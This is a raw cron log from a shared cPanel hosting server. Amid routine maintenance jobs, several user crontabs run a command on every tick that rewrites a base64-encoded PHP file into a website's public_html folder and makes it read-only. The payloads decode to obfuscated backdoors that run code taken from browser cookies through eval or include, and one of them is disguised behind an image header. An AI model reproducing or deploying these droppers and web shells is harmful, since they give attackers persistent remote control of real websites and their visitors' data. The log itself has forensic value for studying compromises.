Mar  2 13:30:02 medusa CROND[22332]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:30:02 medusa CROND[22299]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:30:02 medusa CROND[22336]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:30:02 medusa CROND[22297]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:31:01 medusa CROND[6319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:31:01 medusa CROND[6361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:31:01 medusa CROND[6362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:31:01 medusa CROND[6363]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:31:01 medusa CROND[6364]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:31:01 medusa CROND[6365]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:31:01 medusa CROND[6366]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:31:01 medusa CROND[6369]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:31:01 medusa CROND[6371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:31:01 medusa CROND[6376]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:31:01 medusa CROND[6380]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:31:01 medusa CROND[6384]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:31:01 medusa CROND[6386]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:32:02 medusa CROND[25052]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:32:02 medusa CROND[25096]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:32:02 medusa CROND[25098]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:32:02 medusa CROND[25097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:32:02 medusa CROND[25101]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:32:02 medusa CROND[25102]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:32:02 medusa CROND[25106]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:32:02 medusa CROND[25107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:32:02 medusa CROND[25108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:32:02 medusa CROND[25115]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
